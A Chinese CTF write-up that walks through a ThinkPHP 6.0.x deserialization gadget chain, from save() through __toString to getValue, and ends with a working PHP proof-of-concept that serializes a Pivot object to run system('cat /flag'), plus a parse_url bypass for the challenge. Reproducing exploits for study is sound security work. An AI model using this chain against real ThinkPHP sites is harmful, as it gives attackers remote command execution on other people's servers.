Thinkphp6.0.x反序列化漏洞复现

漏洞起点

起因: 在做 [安洵杯 2019]iamthinking 时发现是 thinkphp6 的反序列化,那么就去复现一下呗。

看了其他大佬的 wp,上面说 tp6 的反序列化漏洞的后半段利用和 tp5.2.x 是一样的,也就是 __toString 函数上。

第一步相信大家都知道,全局搜索 __destruct ,查找可以利用的点。

选择的标准:
那么有什么选择的标准呢?我是这么想的,就这个版本而言,假定我们先前不知道哪边有漏洞,那么我们在找漏洞的时候可以先看看前几个版本有什么漏洞,有可能它在修好漏洞的时候,又产生了新的漏洞,或者漏洞依然存在,只是利用方式不同罢了,那么借助这个思路我们可以先看看 tp5.2.x 的漏洞产生点,也就是 __toString 函数上。

全局搜索后可以发现在 Conversion.php__toString 往下推会产生一个漏洞。

__toString => toJson => toArray => getAttr => getValue

可以通过可控的属性进行命令执行。
Thinkphp6.0.x反序列化漏洞复现_第1张图片
那么我们这边选择 __destruct 的要求就很明显了,一直往下执行直到有地方能够触发 __toString

这边选择如下图:

Thinkphp6.0.x反序列化漏洞复现_第2张图片

__toString 的触发点为:

save => updateData => checkAllowFields

checkAllowFields 中可以看到有一个字符串连接,而这就是 __toString 的触发点。

在这里插入图片描述

步骤分析

第一步触发 __toString

我们首先要绕过 save 函数的第一个 if 判断。
在这里插入图片描述
isEmpty 函数只需要 $this->data 不为空即可。

Thinkphp6.0.x反序列化漏洞复现_第3张图片
tigger 函数中 $this->withEventfalse 就行。
Thinkphp6.0.x反序列化漏洞复现_第4张图片
然后就是 save 函数的 $this->exists 存在,则进入 updateData()
在这里插入图片描述
updateData() 函数的第一步和上一步一样。

Thinkphp6.0.x反序列化漏洞复现_第5张图片
接着就是 $ data 要存在绕过下面的 if,也就是 getChangedData 中的 $this->forcetrue
Thinkphp6.0.x反序列化漏洞复现_第6张图片
在这里插入图片描述

然后就进入了 checkAllowFields 函数,只需要令 $this->table__toString 的类或者其他。
在这里插入图片描述
简单记录一下流程:

触发 __toString:

svae():
isEmpty()::$this->data = true;
trigger()::$this->withEvent = false;
svae()::$this->exists = true;

updateData():
trigger()::$this->withEvent = false;
getChangedData()::$this->force = true;$this->data = true;

checkAllowFields():
$this->field=[];
$this->schema = [];
$this->table = (__toString);

__toString => getflag

进入 __toString

Thinkphp6.0.x反序列化漏洞复现_第7张图片
进入 toJson

在这里插入图片描述
进入 toArray
Thinkphp6.0.x反序列化漏洞复现_第8张图片
再看 getAttr
Thinkphp6.0.x反序列化漏洞复现_第9张图片
getData 里的 getRealFieldName 里的 $this->strict 若为 true (默认为 true),则返回 $name,返回到 getData

在这里插入图片描述
在这里插入图片描述
也就是说 $this->data[$fielName] = $this->data[$key] ,也就是说最后返回的是 $this->getValue($key, $value, $relation);

继续往下看,到 getValue 函数,这里的 name 就是上面说的 key 键名了,也就是如果是 data['xxx'=>'bbb'] ,那么这里的 name 就是 aaa

Thinkphp6.0.x反序列化漏洞复现_第10张图片
最后就是要绕过下面的三个 if,第一个 if 只要 $this->withAttr['xxx'] 存在就行了,第二个 if 默认绕过,第三个 if 只需要 $this->withAttr['xxx']不是嵌套了一个数组就行。
Thinkphp6.0.x反序列化漏洞复现_第11张图片
命令执行的地方,$this->withAttr[$fieldName];$this->withAttr['xxx']; , 这边的 $this->data['xxx'] 的值就是要执行的命令了。(注意这里的 withAttrdata 的键名要一样)
Thinkphp6.0.x反序列化漏洞复现_第12张图片
最后要实现的时候肯定要找一个子类取实现它,因为 Model 是抽象类。

poc



namespace think{
    abstract class Model{
        use model\concern\Attribute;
        use model\concern\Conversion;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $field;
        protected $schema;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->field = [];
            $this->schema = [];
            $this->table = true;
        }
    }
}
namespace think\model\concern{
    trait Conversion{
    }

    trait Attribute{
        private $data = ["xxx" => "cat /flag"];
        private $withAttr = ["xxx" => "system"];
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
        public function __construct($obj=''){
            parent::__construct();
            $this->table = $obj;
        }
    }
    $a = new Pivot();
    $b = new Pivot($a);
    echo urlencode(serialize($b));
}

[安洵杯 2019]iamthinking 这题中,要绕过 parse_str
Thinkphp6.0.x反序列化漏洞复现_第13张图片
直接实例测试:


$url4 = "//upload?/test/";
$url5 = "//upload?/1=1&id=1";
$url6 = "///upload?id=1";
var_dump(parse_url($url4));
var_dump(parse_url($url5));
var_dump(parse_url($url6));

结果一目了然:
Thinkphp6.0.x反序列化漏洞复现_第14张图片

reference

https://blog.csdn.net/weixin_43610673/article/details/120008902

你可能感兴趣的:(Thinkphp漏洞复现,Thinkphp6.0.x,反序列化漏洞复现)